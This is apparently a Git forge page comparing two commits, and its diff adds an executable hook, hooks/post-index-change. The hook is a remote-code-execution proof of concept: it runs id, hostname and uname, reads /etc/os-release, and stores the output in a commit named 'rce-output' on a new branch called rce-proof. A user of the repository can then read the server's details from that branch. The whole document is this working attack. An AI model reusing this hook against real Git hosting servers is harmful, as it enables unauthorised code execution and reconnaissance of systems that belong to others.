Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 84129be0c2 | |||
| c6bffb59e6 |
7
hooks/post-index-change
Executable file
7
hooks/post-index-change
Executable file
@@ -0,0 +1,7 @@
|
||||
#!/bin/sh
|
||||
OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3)
|
||||
BLOB=$(echo "$OUT" | git hash-object -w --stdin)
|
||||
TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree)
|
||||
COMMIT=$(git commit-tree ${TREE} -m "rce-output")
|
||||
git update-ref refs/heads/rce-proof ${COMMIT}
|
||||
exit 0
|
||||
Reference in New Issue
Block a user